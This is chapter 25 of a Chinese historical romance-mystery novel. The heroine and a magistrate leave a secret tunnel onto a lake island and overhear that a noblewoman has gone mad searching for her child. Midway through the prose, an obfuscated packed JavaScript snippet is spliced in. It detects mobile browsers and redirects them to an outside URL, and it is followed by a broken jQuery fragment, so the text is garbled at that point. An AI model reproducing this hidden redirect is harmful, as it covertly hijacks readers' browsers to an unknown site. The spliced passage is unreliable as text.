25. 第25章
    另一端的悬梯不长,很快就走到底。

    萧娇趴在背上,突然伸手拍了拍。

    “怎么了?”闫风识问。

    萧娇凑到他耳边,热气全灌进他脖颈里:“后面,好像有声响……”

    闫风识微滞,灰眸紧缩,稍偏头。身后的悬梯空荡荡,从这头望过去,中央玉台恰笼于潭心枯树正上方,像一抹幕帘,将头顶的天光罩得严严实实,除此之外,一切都与之前并无不同。

    他抿唇,压下心底的疑问,冷冷道:“郡主莫要乱动,若再出意外,伤的可就不止脚了。”

    萧娇一愣,心头猛地燃起一簇火苗。

    她是好心提醒好吗,这人真不知好歹,谁稀罕他背?

    她咬咬牙,想跳下来,然而周身一动,脚不知蹭到何处,顿时痛得倒吸气。

    闫风识蹙眉,顿了顿,压低了声音道:“此间有些诡异,需早点离开为上,若郡主想要留在这里,臣自然无不可。”

    萧娇已然气急,也不挣扎了,她想这人算是说出心底话了,他想甩下她走,自己偏不如他所愿,就这样让他背着,反正累的也不是自己。

    如是这般想,萧娇用力攥紧闫风识肩。闫风识用余光扫了眼,只见到净手纤柔,他睫羽轻颤,到底没再出声。

    这一端地势较之前高,从这里望过去,可见环绕碧潭一圈的岩壁上,有数个类似的铁门,有的已经上锁,有的并未挂锁。闫风识走到最近的一扇铁门旁站定,这扇铁门未上锁,门上同样锈迹斑斑,他俯身贴于门外听了数息,耳畔只有簌簌风声,并无人语。他轻拉开门,里间和来时一样,是一条长长的甬道,但更为狭窄,左右紧容一人通过,且甬壁坑坑洼洼,并无任何装饰,好似已经废弃许久。

    闫风识点亮火折,探进去照了照,火折光微晃,并没有熄。闫风识心下有数,对身后人道:“就这条?”

    萧娇偏要和他作对:“这能通向外面?闫少卿如此谨慎,为何不原路返回?”

    “原路返回?”闫风识似乎冷笑一声,“岂不枉费了郡主流的血……郡主不也想看,此处最终能通向何方吗?”

    萧娇撇嘴,目光不经意对上他灰蒙暗沉的眸子,当即心中一突,抿抿唇,气势也低下来:“好了,就这条走吧。”

    顿了数息,闫风识才开口,语气冷冷淡淡,听不出情绪:“甬道内拥窄,郡主留心脚。”

    萧娇“哼”了声,算是支应。

    一进甬道,火光瞬间暗下来。壁道低矮,萧娇不得不伏低身子,虽然尽量减少触碰,但如此情境,触碰是不可避免的。萧娇不自在地微微扭了扭身,身下的人就像一块冰,浑似没有生气一般,凉得她心惊。她在脑中胡乱乱想,一会儿想起金陵城里关于闫风识的传闻,一会儿又回忆起方才经历的种种古怪。这些纵横交错的甬道,奇怪的悬梯,还有与玉肌阁相似的装饰……

    甬壁上停满了虫茧,灰扑扑一片,幽黄火光一照,有不少散落下来。闫风识掩过眼底的厌色,尽量避着前行。忽听身后人低语:“玉肌阁那边,可有什么发现?”

    距离与萧娇在灵泽山的那次会面已过了几日,闫风识垂下眼帘,他不知她为何会对玉肌阁如此感兴趣,只微点头:“已布置眼线,不过至今无消息传来。”

    萧娇“唔”了声,而后不再说话。

    又走了百来步,风声里突然夹杂了旁的什么传来,闫风识驻足聆听,半晌后突然扬眉,是鸟声蝉鸣,看样子这条甬道是通向外面。他加快了脚步,果然,走过数十步,眼前陡然折进来几缕光亮。

    甬道已至尽头。和之前一样,尽头处悬有一架铁梯,铁梯的尽端是一方天井,上面用荒草盖着,只余几缕缝隙。

    闫风识先放下萧娇,自己扶梯而上,用手顶开草盖。外面的天光陡然泻下来,甬道里霍然光亮,他眯了眯眼,好半晌才适应,又折返身背起萧娇,先让她翻出井口,随后自己撑着井壁,很快也跨出来。

    天青淡远,一行白鸟飞过云间。四野悄寂,鹧鸪声声啼鸣。从地底阴湿处爬出来,乍然看到如此景象,萧娇自然有些不适应,但她很快拧起眉头。

    竹林深处,有隐约尖利的嘶叫声传来。

    不止萧娇,闫风识也听到了。他环顾四周,方才他们出来的井口位于一块废弃的田圃园内,田圃园外竹林青翠,草色如烟,更远处水波盈盈,一群野鸭濯濯戏水。

    闫风识扶着萧娇站起,萧娇“咦”了声,片刻后恍然:“这里……好像是湖心岛。”

    宁园北面毗邻琵琶湖,湖中散布小岛,谢氏于岛上遍种青竹,又建竹舍,夏日避暑,冬日听雪,风雅十足。这些轶事,萧娇从阿婆那里听来不少,是以她虽没来过湖心岛,还是一眼就看出来了。

    不过,她却没想到,从甬道一路行来,彼端的出口竟通往湖心岛。那些纵横交错的甬道……难道,是通向宁园各处?

    脚踝处已经不那么痛了,萧娇试着动了动腿,发现也没有血再溢出,她指了指竹林,压低了声音道:“去那边看看。”

    临近竹舍,嘶叫声愈发清晰,听起来是个年轻女子。

    有婆子在一旁抱怨:“夫人,小声些,今日宁园里有宴席。”

    “不,不是我,不是我……我的孩子,孩子……”

    萧娇隔着斑斑翠竹偷望。

    竹舍外,站了三个婆子,正拉扯着中间一位妇人。那妇人身姿纤瘦,容貌秀美,只样子有些……古怪,头上发髻凌乱,衣衫被扯开了一截,露出里面一抹莹白,她被婆子围着,嘴里不断嘶叫着,状若疯癫。萧娇又看了几眼,才发觉这人有些眼熟。

    她……好像是谢氏三房谢珏之妻,谢陈氏。

    陈氏出身名门,当初谢氏女眷进宫拜谒阿婆时,陈氏站在角落里,总是一副病恹恹的模样。阿婆和旁人谈到她,也颇为惋惜。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255196|137944||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    听说她曾经是位才女,诗书字画无所不精,只是子嗣上有些艰难,后来好不容易诞下一子,身子却亏损得厉害,常年病卧于床,便再没有提笔动字了。

    萧娇再次凝望,陈氏眼下已被婆子拉到了竹舍门边,她舞动着手,竭力抗拒着,然而里面又走出两个婢子,几人同力,终于将挣扎乱舞的陈氏弄进屋,“砰”地一声关上门。

    嘶叫声果然小了许多,只是仍未停息。萧娇蹙起眉,她只知晓陈氏病了,但看方才的样子,她似乎精神也不太好……

    正思量时,竹门再次打开,两个婢子相继走出。一个瘦高女婢边走边叹气:“夫人这个样子,如何理事……以后少夫人入门,我们这些婢子更没有出头之日了……”

    她身旁矮胖些的女婢只是摇头:“夫人这样,好歹还需要我们,莫要想那些长远的,以后如何,谁又说得定?”

    “也是……”高个女婢短叹一声,“明明这几年好些了的,夫人都开始准备七郎君的婚事,哪想过完年,人就疯怔了,唉……”

    “现在府里都瞒着,只想让少夫人顺顺利利入门,你嘴巴可闭严实了,若让旁人知晓……”

    “知道了,我们现在这样,又如何对旁人说……”

    两个婢子各自唏嘘几声,很快转入一旁偏舍。

    萧娇从竹林后站直身。

    陈氏疯怔了?

    竹舍内传来“呲啦”的声响,似乎是什么东西打碎了,一扇窗忽然打开,陈氏破碎而尖厉的声音清晰传来:“孩子,我的孩子,你在哪,在哪……”

    一个婆子慌慌张张去关窗,透过暗沉沉的窗牖,陈氏的脸满是惊恐和凄然,然而那扇窗很快被关上,什么也看不见了。

    萧娇却蹙起眉。

    陈氏的孩子不是谢七郎吗?陈氏病重时,听说谢七郎每日都会在母亲病榻服侍,晨昏定省更是从来不断,金陵城人人都称赞他仁孝,为何陈氏还口口声声要寻自己的孩子?

    萧娇十分费解。不过,这些都是谢氏家事,金陵像样的世家,谁家没有一两件腌臜,如今她倒是窥破了这一层隐秘,但心中没觉兴奋,只余索然无趣。

    她望了望天,心想自己这一趟出来,不仅走了一趟密道,还偷听到谢氏私隐,也算小有收获,只不晓宴席那边怎么样了,采薇这么久没看到她,会不会也正在寻她?

    正探头张望,却见闫风识一脸端凝杵在一旁,眸眼幽幽,也不知想什么。

    萧娇心想:这人成天一副阴恻恻的样子,若不是为人还算忠信,她才不想和他多说一句话。

    萧娇叫了声,闫风识才回神。他仿若才听清萧娇的话,剑眉一抬,道:“此处四面环水,如何回去?”

    萧娇白了他一眼,指着远处明瑟的水面道:“划船啊。”

    一行水鸥飞过,拂开远近垂柳。盛夏的琵琶湖,一碧万顷,湖心岛外,水光粼粼,数只扁舟跃然水面。